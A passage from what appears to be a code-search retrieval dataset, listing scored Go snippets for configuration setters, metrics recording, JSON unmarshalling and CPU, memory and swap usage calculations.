SetExtendedKeyUsages(value []ExtendedKeyUsageable)() {\n err := m.GetBackingStore().Set(\"extendedKeyUsages\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "39c17feb37a1f87d8c6312af60eaeafc", "score": "0.4182076", "text": "func UnmarshalDedicatedHostProfileVcpuRange(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileVcpuRange)\n\terr = core.UnmarshalPrimitive(m, \"default\", &obj.Default)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"max\", &obj.Max)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"min\", &obj.Min)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"step\", &obj.Step)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "fa2b8b0c7c7d7d552b2e4d3e6c377173", "score": "0.41813657", "text": "func (o ProcessServerDetailsResponseOutput) ProcessorUsagePercentage() pulumi.Float64Output {\n\treturn o.ApplyT(func(v ProcessServerDetailsResponse) float64 { return v.ProcessorUsagePercentage }).(pulumi.Float64Output)\n}", "title": "" }, { "docid": "3893ee61b5ab13b654865f09c052e353", "score": "0.41720584", "text": "func (m *Windows10EndpointProtectionConfiguration) SetDefenderScanMaxCpuPercentage(value *int32)() {\n err := m.GetBackingStore().Set(\"defenderScanMaxCpuPercentage\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "4d74e045930c7379a7dd2b109e59565d", "score": "0.41370022", "text": "func FinityCpuUsage(timeElapsed uint, x float64, y float64) time.Duration {\n\tstart := time.Now()\n\t// beale() will generate a value between 0.2 and 0.4\n\tsleepTime := beale(x, y) * 100\n\tvar elapsed time.Duration\n\tfor {\n\t\tunladenTime := time.Now().UnixNano() / int64(time.Millisecond)\n\t\tif unladenTime%100 == 0 {\n\t\t\ttime.Sleep(time.Millisecond * time.Duration(sleepTime))\n\t\t}\n\t\telapsed = time.Now().Sub(start)\n\t\tif timeElapsed > 0 && uint(elapsed/time.Millisecond) >= timeElapsed {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn elapsed\n}", "title": "" }, { "docid": "4dbd8e16f2ec2a99ce605b5be10b47a5", "score": "0.41159955", "text": "func (m *UserExperienceAnalyticsAppHealthAppPerformanceByAppVersion) SetAppUsageDuration(value *int32)() {\n err := m.GetBackingStore().Set(\"appUsageDuration\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "8afa5ae91451f74edee36573293b4bef", "score": "0.4112189", "text": "func (mb *MetricsBuilder) RecordVcenterHostNetworkThroughputDataPoint(ts pcommon.Timestamp, val int64, throughputDirectionAttributeValue AttributeThroughputDirection, objectNameAttributeValue string) {\n\tmb.metricVcenterHostNetworkThroughput.recordDataPoint(mb.startTime, ts, val, throughputDirectionAttributeValue.String(), objectNameAttributeValue)\n}", "title": "" }, { "docid": "4dd7bd10b38727d013a72799bbc75cad", "score": "0.4096757", "text": "func (mb *MetricsBuilder) RecordVcenterVMCPUUsageDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricVcenterVMCPUUsage.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "460f7974db373a5c40bcb0844310f493", "score": "0.4093791", "text": "func (m *NetworkAccessTraffic) SetUserId(value *string)() {\n err := m.GetBackingStore().Set(\"userId\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "b2d7b886fb3a6408e991b58151325f80", "score": "0.4081895", "text": "func (sysMemPtr *sysMemInfo) SwapUsagePercent() int {\n\t// capture devided by null if there is no swap setup\n\tif sysMemPtr.Swap() == 0 {\n\t\treturn 0\n\t}\n\treturn int((float64(sysMemPtr.SwapUsage()) / float64(sysMemPtr.Swap())) * 100)\n}", "title": "" }, { "docid": "d13e83b1fa77fc317fba8c705f180fde", "score": "0.40811527", "text": "func SetHost(s string) func(samtunnel.SAMTunnel) error {\n\treturn func(c samtunnel.SAMTunnel) error {\n\t\tc.Config().TargetHost = s\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "a77945303752c58eeee7146593bf6b9a", "score": "0.4065787", "text": "func (m *UserExperienceAnalyticsModelScores) SetStartupPerformanceScore(value *float64)() {\n err := m.GetBackingStore().Set(\"startupPerformanceScore\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "3161c16980a5af2750030217e3fa2f4f", "score": "0.4048989", "text": "func updateCpuPercent(percent float64) {\n\n\tatomic.StoreUint64(&cpuPercent, math.Float64bits(percent))\n}", "title": "" }, { "docid": "d2b41cd52f40ec2f7518640fe5563c49", "score": "0.40385172", "text": "func (c *OptlyCache) SetUserProfileService(sdkKey, userProfileService string) {\n\tc.userProfileServiceMap.SetIfAbsent(sdkKey, userProfileService)\n}", "title": "" }, { "docid": "ca1b6926fffc683126bcb486adfa568f", "score": "0.40332207", "text": "func (m *ReportRoot) SetDailyPrintUsageByUser(value []PrintUsageByUserable)() {\n m.dailyPrintUsageByUser = value\n}", "title": "" }, { "docid": "fdcfb872f37c1eefc98599d90101987b", "score": "0.40255347", "text": "func updateUsage(v *Varz) {\n\tv.Cores = runtime.NumCPU()\n\tpidStr := fmt.Sprintf(\"%d\", os.Getpid())\n\tout, err := exec.Command(\"ps\", \"o\", \"pcpu=,rss=\", \"-p\", pidStr).Output()\n\tif err != nil {\n\t\t// FIXME(dlc): Log?\n\t\treturn\n\t}\n\tfmt.Sscanf(string(out), \"%f %d\", &v.CPU, &v.Mem)\n\tv.Mem *= 1024 // 1k blocks, want bytes.\n}", "title": "" }, { "docid": "8cdcfca2b1aeabebf86e381c21e0bb12", "score": "0.40245405", "text": "func (m *Windows10EndpointProtectionConfiguration) SetUserRightsProfileSingleProcess(value DeviceManagementUserRightsSettingable)() {\n err := m.GetBackingStore().Set(\"userRightsProfileSingleProcess\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "cb9960393ec6d518d7fabf9d7d02790b", "score": "0.40241402", "text": "func (mb *MetricsBuilder) RecordVcenterVMMemoryUsageDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricVcenterVMMemoryUsage.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "c496376424bfa70f5a5a21d2d0863d43", "score": "0.40167508", "text": "func UnmarshalDedicatedHostProfileReference(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileReference)\n\terr = core.UnmarshalPrimitive(m, \"href\", &obj.Href)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"name\", &obj.Name)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "5238a6d9c45e82b91de7e1c0769ddf53", "score": "0.40162826", "text": "func (sysMemPtr *sysMemInfo) UsagePercent() int {\n\treturn int((float64(sysMemPtr.RealUsage()) / float64(sysMemPtr.Total())) * 100)\n}", "title": "" }, { "docid": "664c6da3490f718a0b2d32f0510ed951", "score": "0.40147546", "text": "func (e *HTMLHeadElement) SetProfile(value string) {\n cstr := C.CString(value)\n defer C.free(unsafe.Pointer(cstr))\n C.webkit_dom_html_head_element_set_profile(e.native(), (*C.gchar)(cstr))\n}", "title": "" }, { "docid": "7d061ed93e0518ce8066aca3a83737c7", "score": "0.40114996", "text": "func (m *ParticipantEndpoint) SetCpuProcessorSpeedInMhz(value *int32)() {\n err := m.GetBackingStore().Set(\"cpuProcessorSpeedInMhz\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "706b28e5b3d058fe2424086e10369fb2", "score": "0.40059003", "text": "func (s *CrawlerHistory) SetDPUHour(v float64) *CrawlerHistory {\n\ts.DPUHour = &v\n\treturn s\n}", "title": "" }, { "docid": "2dcd420338d540b4399b6ca698b18300", "score": "0.40027788", "text": "func UnmarshalDedicatedHostProfileMemory(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileMemory)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"default\", &obj.Default)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"max\", &obj.Max)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"min\", &obj.Min)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"step\", &obj.Step)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"values\", &obj.Values)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "87536d4f5f1c64329a7cec10fbfa82b6", "score": "0.39994022", "text": "func (o *MonthlyUsageAttributionValues) GetNpmHostPercentage() float64 {\n\tif o == nil || o.NpmHostPercentage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.NpmHostPercentage\n}", "title": "" }, { "docid": "d995f1644e70f4a2ba660b56898c03af", "score": "0.3995781", "text": "func (v *Value) SetDp(val float32) {\n\tv.Val = val\n\tv.Un = UnitDp\n}", "title": "" }, { "docid": "36d3013f8530d31ff21957e629e676f0", "score": "0.3994968", "text": "func (o *MonthlyUsageAttributionValues) SetNpmHostPercentage(v float64) {\n\to.NpmHostPercentage = &v\n}", "title": "" }, { "docid": "0dd0ac7edb4b2663b72834dcd51c60da", "score": "0.39799353", "text": "func (p *Predictor) memUsage(profiles []reflow.Profile) (float64, error) {\n\t// Predict the memory usage of the taskGroup.\n\tpv, n := valuePercentile(profiles, p.memPercentile, memMaxGetter)\n\tif n < p.minData {\n\t\treturn 0, fmt.Errorf(\"insufficient profiles (%d < %d)\", n, p.minData)\n\t}\n\treturn pv, nil\n}", "title": "" }, { "docid": "c5c8ba70051bcd95ed90f3b9736bcf2b", "score": "0.39620522", "text": "func (o *SystemProfileSystemPurpose) SetUsage(v string) {\n\to.Usage = &v\n}", "title": "" }, { "docid": "f290934368b7cd754e2606e1263e94c2", "score": "0.39604035", "text": "func (m *BrowserSharedCookie) SetHostOrDomain(value *string)() {\n err := m.GetBackingStore().Set(\"hostOrDomain\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "9f8f2c0767bea85f0101fe222773da2d", "score": "0.39353874", "text": "func (m *NetworkAccessTraffic) SetDestinationFQDN(value *string)() {\n err := m.GetBackingStore().Set(\"destinationFQDN\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "9e9492b98f9af1bf612d26b475b26a8a", "score": "0.39336905", "text": "func (g *Generator) SetHost(host string) *Generator {\n\tg.mu.Lock()\n\tg.host = host\n\tg.mu.Unlock()\n\treturn g\n}", "title": "" }, { "docid": "13154b1e197dd83169aefe835f7702db", "score": "0.39222884", "text": "func (mb *MetricsBuilder) RecordVcenterHostDiskLatencyAvgDataPoint(ts pcommon.Timestamp, val int64, diskDirectionAttributeValue AttributeDiskDirection, objectNameAttributeValue string) {\n\tmb.metricVcenterHostDiskLatencyAvg.recordDataPoint(mb.startTime, ts, val, diskDirectionAttributeValue.String(), objectNameAttributeValue)\n}", "title": "" }, { "docid": "79f149e1000823229812b922cc400343", "score": "0.3921227", "text": "func (m *MicrosoftTunnelHealthThreshold) SetHealthyThreshold(value *int64)() {\n err := m.GetBackingStore().Set(\"healthyThreshold\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "7755e026784fa0fa775e4c3e82775182", "score": "0.39087272", "text": "func (m *UserExperienceAnalyticsModelScores) SetEndpointAnalyticsScore(value *float64)() {\n err := m.GetBackingStore().Set(\"endpointAnalyticsScore\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "f2dcc36b1e44b504fd5ae0f6f11757cc", "score": "0.39062396", "text": "func (m *AndroidWorkProfileEasEmailProfileBase) SetHostName(value *string)() {\n err := m.GetBackingStore().Set(\"hostName\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "1ea96e570af806441d242a9667660354", "score": "0.3904737", "text": "func (o *MonthlyUsageAttributionValues) HasNpmHostUsage() bool {\n\tif o != nil && o.NpmHostUsage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "95c9cd6357d919ad0665c4979f1c6ea8", "score": "0.38924465", "text": "func (o *MonthlyUsageAttributionValues) HasProfiledContainerUsage() bool {\n\tif o != nil && o.ProfiledContainerUsage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "e5af84231dac151efab107f2e13c6521", "score": "0.38738966", "text": "func (o *HyperflexDrive) SetUsage(v string) {\n\to.Usage = &v\n}", "title": "" }, { "docid": "a44d2ecd207cb4c4991e6f054f052e37", "score": "0.38660038", "text": "func (m *BrowserSharedCookie) SetHostOnly(value *bool)() {\n err := m.GetBackingStore().Set(\"hostOnly\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "43c67031305dc01ee154e6dcd366022f", "score": "0.3859434", "text": "func CPUProfile(p *Profile) { p.mode = cpuMode }", "title": "" }, { "docid": "4ddc753deaa10d9bb2d2dd78ea157406", "score": "0.3858574", "text": "func (c *ServicedCli) cmdHostSetMemory(ctx *cli.Context) {\n\targs := ctx.Args()\n\tif len(args) < 2 {\n\t\tfmt.Printf(\"Incorrect Usage.\\n\\n\")\n\t\tcli.ShowCommandHelp(ctx, \"set-memory\")\n\t\treturn\n\t}\n\n\tif err := c.driver.SetHostMemory(api.HostUpdateConfig{args[0], args[1]}); err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\tc.exit(1)\n\t}\n}", "title": "" }, { "docid": "8d1207d6d10f8da0d961a21f8c2b8949", "score": "0.38440153", "text": "func (o *MonthlyUsageAttributionValues) SetProfiledContainerPercentage(v float64) {\n\to.ProfiledContainerPercentage = &v\n}", "title": "" }, { "docid": "c13ad3bf9998bdec312bfd3f3b503874", "score": "0.38439614", "text": "func (o *MonthlyUsageAttributionValues) HasApmHostUsage() bool {\n\tif o != nil && o.ApmHostUsage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "312b25838c1a825b97ec5325cce74c8d", "score": "0.38395548", "text": "func UnmarshalDedicatedHostProfileSocketFixed(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileSocketFixed)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "4eb260e45819cf5d2e8da479462ed6b4", "score": "0.38387123", "text": "func SetHost(v string) {\n\traw.Host = v\n}", "title": "" }, { "docid": "5a16057f9920fe1307fcdbb35ad80e75", "score": "0.3835763", "text": "func SetProfileFraction(rate int) int {\n\tif rate < 0 {\n\t\treturn int(atomic.LoadInt64(&profilerate))\n\t}\n\told := int(atomic.SwapInt64(&profilerate, int64(rate)))\n\tif rate == 0 {\n\t\t// clean last profiling record.\n\t\tevtsmu.Lock()\n\t\tevents = nil\n\t\tevtsmu.Unlock()\n\t}\n\treturn old\n}", "title": "" }, { "docid": "db2152b3e2f610880947e2faffbaf615", "score": "0.383328", "text": "func UnmarshalDedicatedHostProfileMemoryRange(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileMemoryRange)\n\terr = core.UnmarshalPrimitive(m, \"default\", &obj.Default)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"max\", &obj.Max)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"min\", &obj.Min)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"step\", &obj.Step)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "2696f84888bfdb3028a44490e421e306", "score": "0.38184437", "text": "func (c *Client) MeterUsage(ctx context.Context, params *MeterUsageInput, optFns ...func(*Options)) (*MeterUsageOutput, error) {\n\tif params == nil {\n\t\tparams = &MeterUsageInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"MeterUsage\", params, optFns, addOperationMeterUsageMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*MeterUsageOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}", "title": "" }, { "docid": "e38447fc9ec0c8fa31e315a7c6972844", "score": "0.3815868", "text": "func HostSwapRate(runner runnerFunc) (float64, error) {\n\tlines, err := runner(\"/bin/cat /proc/meminfo\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(lines))\n\tvar swapTotal float64 = 0\n\tvar swapFree float64 = 0\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tparts := strings.Fields(line)\n\n\t\tif len(parts) < 3 {\n\t\t\tcontinue\n\t\t}\n\n\t\tval, err := strconv.ParseFloat(parts[1], strconv.IntSize)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tk := strings.Trim(parts[0], \":\")\n\t\tswitch k {\n\t\tcase \"SwapTotal\":\n\t\t\tswapTotal = val\n\t\tcase \"SwapFree\":\n\t\t\tswapFree = val\n\t\t}\n\n\t}\n\n\tswapUsed := swapTotal - swapFree\n\n\t// prevent division by 0\n\tif swapTotal == 0 {\n\t\treturn 0, nil\n\t}\n\n\treturn gokit.Round(float64(swapUsed)*100/float64(swapTotal), 2), nil\n}", "title": "" }, { "docid": "a1a9c5101816d2a357747e80e2c47f09", "score": "0.38110796", "text": "func (o *RdsHighCpuThresholds) GetCpuUsagePercentage() int32 {\n\tif o == nil {\n\t\tvar ret int32\n\t\treturn ret\n\t}\n\n\treturn o.CpuUsagePercentage\n}", "title": "" }, { "docid": "9068f50cafe236d7fe7fa3c8f8629954", "score": "0.3807698", "text": "func (mb *MetricsBuilder) RecordVcenterVMDiskUsageDataPoint(ts pcommon.Timestamp, val int64, diskStateAttributeValue AttributeDiskState) {\n\tmb.metricVcenterVMDiskUsage.recordDataPoint(mb.startTime, ts, val, diskStateAttributeValue.String())\n}", "title": "" }, { "docid": "eda05a6136b68defbbff6c49a606d2b1", "score": "0.38062292", "text": "func (o ProcessServerDetailsResponseOutput) MemoryUsagePercentage() pulumi.Float64Output {\n\treturn o.ApplyT(func(v ProcessServerDetailsResponse) float64 { return v.MemoryUsagePercentage }).(pulumi.Float64Output)\n}", "title": "" }, { "docid": "df42e0dabee5fab1dc5309b2b4d0cc91", "score": "0.37993276", "text": "func WithCPUDump(min int, diff int, abs int, coolDown time.Duration) Option {\n\treturn optionFunc(func(opts *options) (err error) {\n\t\topts.cpuOpts.Set(min, abs, diff, coolDown)\n\t\treturn\n\t})\n}", "title": "" }, { "docid": "fe70720c42dd159ce66e6cea2ef38224", "score": "0.37927097", "text": "func (_m *API) SetHostMemory(_a0 api.HostUpdateConfig) error {\n\tret := _m.Called(_a0)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(api.HostUpdateConfig) error); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "683b612a346deaa023dfae626787de90", "score": "0.378345", "text": "func UnmarshalDedicatedHostProfileDiskSize(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileDiskSize)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "b4902c41ad5bc7a45b82296ee8c47cbe", "score": "0.37775916", "text": "func (s *Session) SetHost(host string) {\n\tif strings.HasSuffix(host, \"/\") {\n\t\thost = host[:len(host)-1]\n\t}\n\ts.host = host\n}", "title": "" }, { "docid": "bca4a272613adfae0f1cc53d3cffddd0", "score": "0.37734327", "text": "func (m *Windows10EndpointProtectionConfiguration) SetFirewallProfilePrivate(value WindowsFirewallNetworkProfileable)() {\n err := m.GetBackingStore().Set(\"firewallProfilePrivate\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "5650b54907f575f7850af4802cb743eb", "score": "0.3768859", "text": "func (mb *MetricsBuilder) RecordVcenterClusterHostCountDataPoint(ts pcommon.Timestamp, val int64, hostEffectiveAttributeValue bool) {\n\tmb.metricVcenterClusterHostCount.recordDataPoint(mb.startTime, ts, val, hostEffectiveAttributeValue)\n}", "title": "" }, { "docid": "9a0bdc3d40653a217a04c818e52fed51", "score": "0.37605882", "text": "func (o *MonthlyUsageAttributionValues) GetApmHostPercentage() float64 {\n\tif o == nil || o.ApmHostPercentage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.ApmHostPercentage\n}", "title": "" }, { "docid": "7b2dbfd5fa33f42875a0d4f408cb4666", "score": "0.3753603", "text": "func (u *URI) SetHost(host string) error {\n\tm := hostRegexp.FindStringSubmatch(host)\n\tif m == nil {\n\t\treturn errors.New(\"invalid host\")\n\t}\n\tu.host = host\n\treturn nil\n}", "title": "" }, { "docid": "ad9ae818806b5d578e05f321c254ff0d", "score": "0.37532538", "text": "func (mb *MetricsBuilder) RecordVcenterDatastoreDiskUsageDataPoint(ts pcommon.Timestamp, val int64, diskStateAttributeValue AttributeDiskState) {\n\tmb.metricVcenterDatastoreDiskUsage.recordDataPoint(mb.startTime, ts, val, diskStateAttributeValue.String())\n}", "title": "" }, { "docid": "72a9fda50e8cec8b1a3f49ca97ee6ff3", "score": "0.3751799", "text": "func (_options *CreateDedicatedHostOptions) SetDedicatedHostPrototype(dedicatedHostPrototype DedicatedHostPrototypeIntf) *CreateDedicatedHostOptions {\n\t_options.DedicatedHostPrototype = dedicatedHostPrototype\n\treturn _options\n}", "title": "" }, { "docid": "6da9804862db9b97993b68dfedc91203", "score": "0.37516364", "text": "func (mb *MetricsBuilder) RecordVcenterHostNetworkPacketCountDataPoint(ts pcommon.Timestamp, val int64, throughputDirectionAttributeValue AttributeThroughputDirection, objectNameAttributeValue string) {\n\tmb.metricVcenterHostNetworkPacketCount.recordDataPoint(mb.startTime, ts, val, throughputDirectionAttributeValue.String(), objectNameAttributeValue)\n}", "title": "" }, { "docid": "644df75abe5092c329245d36e8aa6813", "score": "0.37329167", "text": "func (mb *MetricsBuilder) RecordVcenterResourcePoolCPUUsageDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricVcenterResourcePoolCPUUsage.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "361a05b70a7ccc6baed4367d9ca25b94", "score": "0.37203002", "text": "func (o *PostDeviceURLParams) SetHost(host *string) {\n\to.Host = host\n}", "title": "" }, { "docid": "4995e3420c1f0797c7a0de8a5d1fe88b", "score": "0.3714284", "text": "func (c *CommonPeripheralKit) SetServiceProfileHID(ctx context.Context) (bool, error) {\n\treturn c.RPC(\"SetServiceProfileHID\").CallForBool(ctx)\n}", "title": "" }, { "docid": "839a5341f8d61c3118b8a4ce6ffa5a98", "score": "0.3709825", "text": "func (s *Solution) ComputeCpuUsage() (float64, float64) {\n\n\t// Compute mean cpu usage\n\tvar meanCpuUsage float64\n\tfor _, indexerUsage := range s.Placement {\n\t\tmeanCpuUsage += float64(indexerUsage.GetCpuUsage(s.UseLiveData()))\n\t}\n\tmeanCpuUsage = meanCpuUsage / float64(len(s.Placement))\n\n\t// compute cpu variance\n\tvar varianceCpuUsage float64\n\tfor _, indexerUsage := range s.Placement {\n\t\tv := float64(indexerUsage.GetCpuUsage(s.UseLiveData())) - meanCpuUsage\n\t\tvarianceCpuUsage += v * v\n\t}\n\tvarianceCpuUsage = varianceCpuUsage / float64(len(s.Placement))\n\n\t// compute cpu std dev\n\tstdDevCpuUsage := math.Sqrt(varianceCpuUsage)\n\n\treturn meanCpuUsage, stdDevCpuUsage\n}", "title": "" }, { "docid": "839a5341f8d61c3118b8a4ce6ffa5a98", "score": "0.3709825", "text": "func (s *Solution) ComputeCpuUsage() (float64, float64) {\n\n\t// Compute mean cpu usage\n\tvar meanCpuUsage float64\n\tfor _, indexerUsage := range s.Placement {\n\t\tmeanCpuUsage += float64(indexerUsage.GetCpuUsage(s.UseLiveData()))\n\t}\n\tmeanCpuUsage = meanCpuUsage / float64(len(s.Placement))\n\n\t// compute cpu variance\n\tvar varianceCpuUsage float64\n\tfor _, indexerUsage := range s.Placement {\n\t\tv := float64(indexerUsage.GetCpuUsage(s.UseLiveData())) - meanCpuUsage\n\t\tvarianceCpuUsage += v * v\n\t}\n\tvarianceCpuUsage = varianceCpuUsage / float64(len(s.Placement))\n\n\t// compute cpu std dev\n\tstdDevCpuUsage := math.Sqrt(varianceCpuUsage)\n\n\treturn meanCpuUsage, stdDevCpuUsage\n}", "title": "" } ]
746e25fe50286dff6dd77e5266919511
has supports setting a specific function
[ { "docid": "27627c7fb4d08156f30a2689c9e64a65", "score": "0.6715099", "text": "func (rig *Rig) HasSetFunc(function uint32) (res uint32, err error) {\n\tvar c C.ulong\n\tc, err = C.has_set_func(rig.handle, C.ulong(function))\n\tres = uint32(c)\n\treturn res, checkError(0, err, \"has_set_func\")\n}", "title": "" } ]
[ { "docid": "83d2e180856969a9e7decc5305c9016b", "score": "0.5964018", "text": "func (me TxsdParameterClass) IsFunction() bool { return me == \"function\" }", "title": "" }, { "docid": "01194243b8f7f6908dd4ed54daf93b2a", "score": "0.58376473", "text": "func (m *ListMap) SetIfNotExistFunc(key interface{}, f func() interface{}) bool {\n\tif !m.Contains(key) {\n\t\tm.doSetWithLockCheck(key, f())\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "2732284e6d76d1879d62e9b1a1e353c7", "score": "0.5799566", "text": "func funcSupported(f Func) bool {\n\tif _, ok := funcTweaks[f.GoName]; ok {\n\t\treturn true\n\t}\n\tif f.Addr > 0 {\n\t\treturn false\n\t}\n\tfor _, param := range f.Param {\n\t\tif param.Array > 0 {\n\t\t\treturn false\n\t\t}\n\t\tif param.Addr > 1 {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "8ebbda7141b47e7f522e69a4df3a23e1", "score": "0.5774077", "text": "func (me TxsdReplaceableClass) IsFunction() bool { return me == \"function\" }", "title": "" }, { "docid": "133793731e4b523d6fd470089163f8ac", "score": "0.57639205", "text": "func (impl tokenSetImpl) Has(ctx context.Context, target string, token string) (bool, error) {\n\n\tret1, ret2 := impl.HasFunc(ctx, target, token)\n\treturn ret1, ret2\n\n}", "title": "" }, { "docid": "4724a44cdac3b7d0674e1cbe715a8fed", "score": "0.5746387", "text": "func (p *Pin) setFunction(f function) {\n\toff := p.offset / 8\n\tshift := 4 * (p.offset % 8)\n\tmask := uint32(disabled) << shift\n\tv := (uint32(f) << shift) ^ mask\n\t// First disable, then setup. This is concurrent safe.\n\tdrvGPIO.gpioMemory.groups[p.group].cfg[off] |= mask\n\tdrvGPIO.gpioMemory.groups[p.group].cfg[off] &^= v\n\tif p.function() != f {\n\t\tpanic(f)\n\t}\n}", "title": "" }, { "docid": "002aa7c686e0cbd3f1b606c4e795d72b", "score": "0.56515616", "text": "func (m *mJetCoordinatorMockIsAuthorized) Set(f func(p context.Context, p1 core.DynamicRole, p2 *core.RecordID, p3 core.PulseNumber, p4 core.RecordRef) (r bool, r1 error)) *JetCoordinatorMock {\n\tm.mainExpectation = nil\n\tm.expectationSeries = nil\n\n\tm.mock.IsAuthorizedFunc = f\n\treturn m.mock\n}", "title": "" }, { "docid": "9f019518ef387eb951432b3d6185dce9", "score": "0.5610091", "text": "func (o *setter) set(current interface{}, check predicate, apply applier) {\n\tif current == nil && (check == nil || check()) {\n\t\tapply()\n\t\to.isSet = true\n\t}\n}", "title": "" }, { "docid": "fd27b9e0f919150afb7dae8e6987aad4", "score": "0.56037533", "text": "func ModifierExists(name string, fn func(json, arg string) string) bool {\n\t_, ok := modifiers[name]\n\treturn ok\n}", "title": "" }, { "docid": "4cd7219519f7cc0338621f343bd60ef1", "score": "0.5579801", "text": "func (mmIsValid *mEvictedPopulationMockIsValid) Set(f func() (b1 bool)) *EvictedPopulationMock {\n\tif mmIsValid.defaultExpectation != nil {\n\t\tmmIsValid.mock.t.Fatalf(\"Default expectation is already set for the EvictedPopulation.IsValid method\")\n\t}\n\n\tif len(mmIsValid.expectations) > 0 {\n\t\tmmIsValid.mock.t.Fatalf(\"Some expectations are already set for the EvictedPopulation.IsValid method\")\n\t}\n\n\tmmIsValid.mock.funcIsValid = f\n\treturn mmIsValid.mock\n}", "title": "" }, { "docid": 